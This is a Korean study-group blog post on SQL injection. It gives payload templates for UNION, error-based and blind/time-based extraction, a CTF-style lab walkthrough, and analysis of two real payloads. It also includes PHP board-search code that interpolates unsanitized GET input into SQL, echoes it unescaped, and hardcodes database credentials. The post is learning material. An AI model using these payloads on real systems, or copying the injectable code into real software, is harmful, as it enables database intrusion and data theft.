ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 8주차 과제
    모의해킹스터디_과제 2023. 12. 22. 21:38

    [1] 오늘 수업 정리

    [2] SQL Injection 공격 기법 정리

    [3] 심화 문제 풀이

    [4] SQL 쿼리 생각해보기

    1. sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)
    2. page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

    + 휴식과제

    • 웹 개발
    • 게시판(검색)

    [2] SQL Injection 공격 기법 정리

     

    AND '1'='1

    - SQL문이 적용되는지 확인하는 용도

    SELECT * FROM user WHERE id = 'doldol' AND '1'='1'

     

    주석처리 #

    - 로그인 식별/인증 동시 같은 경우, 뒤의 구문 제거하는 용도

    SELECT * FROM user WHERE id = 'doldol' #' AND password = ''

     

    OR '1'='1

    - 모든 행 가져오는 용도

    SELECT * FROM user WHERE id = 'doldol' OR '1'='1'

     

     

     

     

    UNION SQLi 과정

     

    1. SQL Point 찾기

    - #, AND '1'='1 등 사용

     

    2. column 개수 찾기

    - ORDER BY 뒤에 숫자를 계속 늘려서 확인

    SELECT * FROM member WHERE username = 'doldol' ORDER BY 1, 2 #'

     

    3. 출력되는 column 위치 찾기

    - 어떤 숫자가 보이는지 확인

    SELECT * FROM board WHERE username = 'doldol' UNION SELECT 1, 2, 3, 4 #'

     

    4. DB 이름 찾기

    - column 위치에 database() 출력

    SELECT * FROM board WHERE username = 'normaltic' UNION SELECT 1, 2, 3, 4, 5, database() LIMIT 1, 1 #'

     

    5. Table 이름 확인

    - table은 여러개일 수 있어서 LIMIT 늘리면서 확인

    SELECT * FROM board WHERE username = 'normaltic' UNION SELECT 1, 2, 3, 4, 5, table_name
    FROM information_schema.tables
    WHERE table_schema = 'DB 이름' LIMIT 1, 1 #'

     

    6. column 이름 확인

    SELECT * FROM board WHERE username = 'normaltic' UNION SELECT 1, 2, 3, 4, 5, column_name
    FROM information_schema.columns WHERE table_name = '테이블 이름' LIMIT 1, 1 #'

     

    7. data 추출

    SELECT * FROM board WHERE username = 'normaltic' UNION SELECT 컬럼 FROM 테이블 #'

     

     

    Error Based SQLi 과정

     

    1. SQL Injection point 찾기

    • 로직 에러를 일으키는 곳

    2. 에러를 출력하는 함수 정하기

    • MySQL -> extractvalue()

    3. 공격 format 만들기

    normaltic' and extractvalue('1', concat(0x3a, (___실행하고 싶은 SELECT문___))) and '1'='1

     

    4. DB 이름 출력

    SELECT문 -> SELECT database()

     

    5. 테이블 이름 출력

    SELECT문 ->
    SELECT table_name FROM information_schema.tables WHERE table_schema='DB이름' LIMIT 0, 1
    • 에러메시지에는 SQL 결과 중 한 행만 보이니 LIMIT을 적절히 사용해야 한다.

    6. 컬럼 이름 출력

    SELECT문 ->
    SELECT column_name FROM information_schema.columns WHERE table_name = '테이블이름' LIMIT 0, 1

     

    7. 원하는 정보 출력

    SELECT문 -> SELECT 컬럼 FROM 테이블 LIMIT 0, 1

     

     

     

     

    Blind SQLi 과정

     

    1. SQL Injection point 찾기

    • normaltic' and '1'='1 결과와 normaltic' and '1'='2 결과 확인
    • 무조건 참과 무조건 거짓의 결과가 다르게 나타나는 곳이어야 한다.

    2. SELECT문 사용이 가능한지 확인하기

    normaltic' and ((select 'test')='test') and '1'='1

     

    3. 공격 format 만들기

    normaltic' and (ascii(substr(___실행하고 싶은 SELECT문___)1, 1)) > 90) and '1'='1
    • 1 ~ 오류 나기 전 숫자 -> SQL 결과의 길이
    • 아스키코드 숫자로 이진 탐색

    4. DB 이름 출력

    SELECT문 -> SELECT database()

     

    5. 테이블 이름 출력

    SELECT문 ->
    SELECT table_name FROM information_schema.tables WHERE table_schema='DB이름' LIMIT 0, 1
    • substr()에도 SQL 결과 중 한 행만 들어가니 LIMIT을 적절히 사용해야 한다.

    6. 컬럼 이름 출력

    SELECT문 ->
    SELECT column_name FROM information_schema.columns WHERE table_name = '테이블이름' LIMIT 0, 1

     

    7. 원하는 정보 출력

    SELECT문 -> SELECT 컬럼 FROM 테이블 LIMIT 0, 1

     


    [3] 심화 문제 풀이

    1. SQL 심화문제

     

    SQLi 심화문제로 4개의 문제가 추가되었는데, 요점은 SQLi Point 찾기라고 할 수 있을 것 같다.

     

    문제의 형식은 4개가 똑같다. 

    로그인 기능이 있는 웹페이지에서 SQLi이 가능한 point를 찾아 DB 안에 있는 flag를 찾아내는 것이다.

     

    (아래는 SQL Injection Point 1의 화면이다.)

    2. SQLi 심화문제_1

     

    살짝 귀찮은 점은 각 문제마다 연동하는 DB가 달라서 문제마다 계정을 새로 만들어야 한다.

    (근데 쿠키를 사용하는 방식이 같은 지, 한 페이지에서 로그인하고 다른 페이지로 넘어가면 로그인 상태가 유지된다는 점..!)

     

    이제 SQLi Point를 찾아야 하는데,

    나는 나름의 방식을 정해놓고 시작했다.

     

    1. 먼저 Burp Suite을 켜놓고

    2. 프록시 서버의 웹브라우저를 통해 페이지를 들어간 후,

    3. 로그인을 하고, 들어갈 수 있는 모든 페이지를 들어간다.

    4. 그리고 HTTP history에 남아 있는 응답 기록을 보면서 SQLi를 시도한다.

     

    스스로 위의 방식을 정해놓고 문제를 풀었더니,

    HTTP request에서 쿠키 POST, GET 방식의 파라미터 중에서 Point를 찾았고 문제를 해결했다.

     

    3. SQL Injection Point 1_BlindSQLi 결과

     

    근데 한 가지 문제가 있는 게

     

    나는 SQL을 시도해보고 SQL의 참/거짓의 결과가 다름을 확인한 후

    이걸 바로 활용하여 문제를 풀려고 하니 모든 문제를 Blind SQL로 풀었는데

     

    노말틱님께서 페이지 화면에 값이 나오는 걸 보면 무조건!!! UNION을 사용하라고 하셨다는 점이다.

     

    그래서 나중에 확인해 보니 UNION SQLi로도 충분히 할 수 있는 문제였다.

     

    (아래는 UNION SQLi로 flag를 확인한 이미지)

    4. SQL Injection Point 1_UNION SQLi

     

    Blind SQLi가 최후의 보루로써 모든 SQLi가 가능한 곳에 쓰일 수 있기에 이것에 너무 의존했었던 것 같다.

    (자동화 프로그램을 만들어 놨으니 쉽게 가려는 마음도 컸던 것 같다.)

     

    여기서 확실히 정리하겠다

     

    SQLi 시도 순서

    화면에 결과가 보인다 -> UNION SQLi
    화면에 에러가 보인다 -> Error Based SQLi
    두 개 다 안보이고 참/거짓에 따라 변화가 있다 -> Blind SQLi

     

     


    [4] SQL 쿼리 생각해보기

    노말틱님께서 지난 수업 중에 자신이 실제로 쓰는 SQLi 쿼리라면서 두 개를 보여주셨다.

    sotingAd=,(case+when+ascii(substr((select+user+from+dual),1,1))=0+then+1+else+(1/0)+end)
    page=1&board_id=&sorting=A.REG_DT&sotingAd=ASC;if+substring((select%20user_name()),1,1)=%27a%27+waitfor+delay+%270:0:1%27&startDt=&endDt=&keyword=

     

    그리고는 어떤 기능을 하는 쿼리인지 한 번 생각해 보라는 숙제를 내주셨다.

     

    1. 첫번째 쿼리부터 보자면,

    첫 단어가 sotingAd라고 써있는데 이게 뭔가 검색해봤더니 명확하게 나온 건 없고

    그 값이 DESC, ASC로 적혀 있는 것을 보아하니 오름차순, 내림차순 즉 정렬의 방식을 의미하는 것 같았다.

     

    어쨌든 = 로 이어지는 것으로 보아하니 POST 방식의 파라미터로 삽입하는 느낌이었고,

    그 뒤에 이어지는 구문은 select user from dual 의 결과의 첫 글자의 아스키코드가 0이면 1을 반환,

    아니면 1/0을 반환한다는 구문같다.

     

    이것도 검색해보니 select user from dual현재 DB를 사용하는 사용자명을 출력하는 쿼리문이라고 한다.

     

    아스키코드가 0이라 함은 결과가 없다는 뜻인데,

    DB를 사용하는 사용자명이 없을 수가 없다고 생각해서 아마 0이 나온다는 것은 SQL 쿼리가 정상적인 작동을

    안했다는 의미같다.

     

    결론적으로 이 SELECT문이 작동하면 결과가 1로 정상적인 정렬이 나올것이고 (1이면 ASC인가?)

    작동이 안된다면 1/0 으로 1을 0으로 나누는 연산 오류가 생겨 에러메시지가 나올 것 같다.

     

     

    2. 두번째 쿼리를 보면,

    POST로 전달되는 파라미터들로 보이는데, 아까와 같이 sotingAd 부분에만 특정한 구문을 넣는 걸 볼 수 있다.

    인코딩 되어 있는 걸 풀어보면 아래의 구문이 나온다.

    ASC; if substring((select user_name()),1,1)='a' waitfor delay '0:0:1'

     

    ASC는 일반적인 sotingAd의 값을 넣어주는 걸 볼 수 있고, 세미콜론 뒤부터가 의도된 구문인데

    먼저 select user_name() 은 위와 같은 기능인 현재 DB를 사용하는 사용자명을 출력하는 쿼리문이다.

    (검색해보니 select user from dualoracle에서, select user_name()azure에서 지원하는 함수라고 한다.)

     

    waitfor delay 는 azure에서 지원하는 함수로 특정 시간동안 지연시키는 함수라고 한다.

     

    정리해보면 이 쿼리는 현재 사용자명의 첫 글자가 a 라면 1초 지연시키는 구문이다.

    확인하는 글자를 바꿔가면서 사용자명을 하나씩 알아내는 것처럼 보인다.

     

    나중에 들은 사실이지만, 이 쿼리문이 Time Based Blind SQLi에 사용되는 구문이라고 한다.

    쿼리 결과의 참/거짓에 따라 응답시간을 다르게 해서 데이터를 추출하는 방법이다.

     

    마지막으로, SQL문에 if문이 들어갈 수 있나 하는 의문이 들텐데, azure SQL에서는 if문도 사용이 된다.

    DBMS 마다 문법이 다르니 대표적인 것들은 문법을 알아두는 것이 좋을 것 같다.

     


    + 게시판(검색)

     

    오랜만에 웹 개발을 하는 것 같다.

     

    지난번에 게시판까지 만든 뒤로 방치하고 있었는데, 이번에 게시판 검색 기능을 추가하는 과제가 나와서 오랜만에 이어서 해보도록 하겠다.

     

     

     

    먼저 기존 게시판 페이지(board.php)에 검색어와 카테고리 정보를 전달하는 검색창을 추가한다.

    <div id="search box">
      <form action="board_search.php" method="GET">
        <select name="category">
          <option value="title">제목</option>
          <option value="userName">글쓴이</option>
          <option value="content">내용</option>
        </select>
        <input type="text" name="search" size="40" required="required" /> <button>검색</button>
      </form>  
    </div>

     

    select 태그를 사용하면 option value 중의 하나를 선택할 수 있다. 여기서는 category 값을 선택하도록 했다.

    그렇게 선택한 카테고리와 input으로 입력받은 검색어를 board_search.php로 보낸다.

     

     

     

    $category = $_GET['category'];
    $search = $_GET['search'];
    $sql = "SELECT * FROM board WHERE {$category} LIKE '%{$search}%' ORDER BY idx DESC LIMIT 0, 10";
    $result = mysqli_query($db_conn, $sql);

     

    board_search.php 에서 전달받은 카테고리와 검색어를 변수에 저장한다.

    그리고 기존의 게시판 SQL문에 카테고리와 검색어로 WHERE 조건을 추가해 쿼리를 보낸다.

     

    마지막으로 아까 작성한 검색창을 밑에 추가하면 게시판 검색 기능 만들기 완성이다. 별로 어려울 건 없다.

    나머지 코드는 board.php와 같이 작성하면 된다.

     

    5. 게시판 검색 기능

     

     

     

    전체코드 

    - board.php

    <?php
    session_start();
    define("DB_SERVER", '127.0.0.1');
    define("DB_USERNAME", 'admin');
    define("DB_PASSWORD", 'student1234');
    define("DB_NAME", 'db_test');
    $db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
    $sql = "SELECT * FROM board ORDER BY idx DESC LIMIT 0, 10";
    $result = mysqli_query($db_conn, $sql);
    ?>
    <!doctype html>
    <html lang="ko">
    
    <head>
      <meta charset="utf-8">
      <link rel="stylesheet" href="bootstrap_4.4.1/css/bootstrap.min.css">
      <title>Board</title>
      <style>
        html,
        body {
          height: 100%;
        }
    
        .container {
          width: 50%;
          padding-top: 40px;
          padding-bottom: 40px;
          background-color: #f5f5f5;
          margin-top: 5%;
        }
    
        footer {
          width: 50%;
          text-align: left;
          margin: 0 auto;
        }
      </style>
    </head>
    
    <body>
      <nav class="navbar bg-dark border-bottom border-body" data-bs-theme="dark">
        <a class="navbar-brand" href="index.php">Home</a>
      </nav>
      <div class="container">
        <div id="board_area">
          <h1>자유게시판</h1>
          <h4>자유롭게 글을 쓸 수 있는 게시판입니다.</h4>
    
    
          <div id="search box">
            <form action="board_search.php" method="GET">
              <select name="category">
                <option value="title">제목</option>
                <option value="userName">글쓴이</option>
                <option value="content">내용</option>
              </select>
              <input type="text" name="search" size="40" required="required" /> <button>검색</button>
            </form>  
          </div>
    
          
          <table class="table table-hover">
            <thead>
              <tr>
                <th width="70">번호</th>
                <th width="500">제목</th>
                <th width="120">글쓴이</th>
                <th width="100">작성일</th>
              </tr>
            </thead>
            <?php
            // board테이블에서 idx를 기준으로 내림차순해서 10개까지 표시
            while ($row = mysqli_fetch_array($result)) {
              //title변수에 DB에서 가져온 title을 선택
              $title = $row["title"];
              if (strlen($title) > 30) {
                //title이 30을 넘어서면 ...표시
                $title = str_replace($row["title"], mb_substr($row["title"], 0, 30, "utf-8") . "...", $row["title"]);
              }
              ?>
              <tbody>
                <tr>
                  <td width="70">
                    <?php echo $row['idx']; ?>
                  </td>
                  <td width="500"><a href="/content.php?idx=<?php echo $row["idx"]; ?>">
                      <?php echo $title; ?>
                    </a></td>
                  <td width="120">
                    <?php echo $row['userName'] ?>
                  </td>
                  <td width="100">
                    <?php echo $row['date'] ?>
                  </td>
                </tr>
              </tbody>
            <?php } ?>
            <?php mysqli_close($db_conn); ?>
          </table>
          <div id="write_btn">
            <a href="board_write.php"><button>글쓰기</button></a>
          </div>
        </div>
      </div>
      <footer class="footer">
        <p>&copy; normaltic</p>
      </footer>
    </body>
    
    </html>

     

    - board_search.php

    <?php
    session_start();
    define("DB_SERVER", '127.0.0.1');
    define("DB_USERNAME", 'admin');
    define("DB_PASSWORD", 'student1234');
    define("DB_NAME", 'db_test');
    $db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
    $category = $_GET['category'];
    $search = $_GET['search'];
    $sql = "SELECT * FROM board WHERE {$category} LIKE '%{$search}%' ORDER BY idx DESC LIMIT 0, 10";
    $result = mysqli_query($db_conn, $sql);
    ?>
    <!doctype html>
    <html lang="ko">
    
    <head>
      <meta charset="utf-8">
      <link rel="stylesheet" href="bootstrap_4.4.1/css/bootstrap.min.css">
      <title>Board Search</title>
      <style>
        html,
        body {
          height: 100%;
        }
    
        .container {
          width: 50%;
          padding-top: 40px;
          padding-bottom: 40px;
          background-color: #f5f5f5;
          margin-top: 5%;
        }
    
        footer {
          width: 50%;
          text-align: left;
          margin: 0 auto;
        }
      </style>
    </head>
    
    <body>
      <nav class="navbar bg-dark border-bottom border-body" data-bs-theme="dark">
        <a class="navbar-brand" href="index.php">Home</a>
      </nav>
      <div class="container">
        <div id="board_area">
          <h1>
            <?php if($category=='title') echo '제목';
                  elseif($category=='userName') echo '글쓴이';
                  else echo '내용';
            ?>에서 '<?php echo $search; ?>'검색결과
          </h1>
          <table class="table table-hover">
            <thead>
              <tr>
                <th width="70">번호</th>
                <th width="500">제목</th>
                <th width="120">글쓴이</th>
                <th width="100">작성일</th>
              </tr>
            </thead>
            <?php
            // board테이블에서 idx를 기준으로 내림차순해서 10개까지 표시
            while ($row = mysqli_fetch_array($result)) {
              //title변수에 DB에서 가져온 title을 선택
              $title = $row["title"];
              if (strlen($title) > 30) {
                //title이 30을 넘어서면 ...표시
                $title = str_replace($row["title"], mb_substr($row["title"], 0, 30, "utf-8") . "...", $row["title"]);
              }
              ?>
              <tbody>
                <tr>
                  <td width="70">
                    <?php echo $row['idx']; ?>
                  </td>
                  <td width="500"><a href="/content.php?idx=<?php echo $row["idx"]; ?>">
                      <?php echo $title; ?>
                    </a></td>
                  <td width="120">
                    <?php echo $row['userName'] ?>
                  </td>
                  <td width="100">
                    <?php echo $row['date'] ?>
                  </td>
                </tr>
              </tbody>
            <?php } ?>
            <?php mysqli_close($db_conn); ?>
          </table>
          <div id="search box">
            <form action="board_search.php" method="GET">
              <select name="category">
                <option value="title">제목</option>
                <option value="userName">글쓴이</option>
                <option value="content">내용</option>
              </select>
              <input type="text" name="search" size="40" required="required" /> <button>검색</button>
            </form>
          </div>
          <div id="write_btn">
            <a href="board_write.php"><button>글쓰기</button></a>
          </div>
        </div>
      </div>
      <footer class="footer">
        <p>&copy; normaltic</p>
      </footer>
    </body>
    
    </html>

     


    참조

     

    [PHP]게시판 만들기 #12 검색 기능

    ※ 2020/05/13 코드 수정 ※ 해당 php게시판 포스팅은 최소한의 기능만을 구성하였습니다. 예제파일 https:...

    blog.naver.com

     

    '모의해킹스터디_과제' 카테고리의 다른 글

    10주차 과제  (0) 2024.01.12
    9주차 과제  (0) 2024.01.03
    7주차 과제  (0) 2023.12.12
    6주차 과제  (0) 2023.12.08
    5주차 과제  (0) 2023.12.07
Designed by Tistory.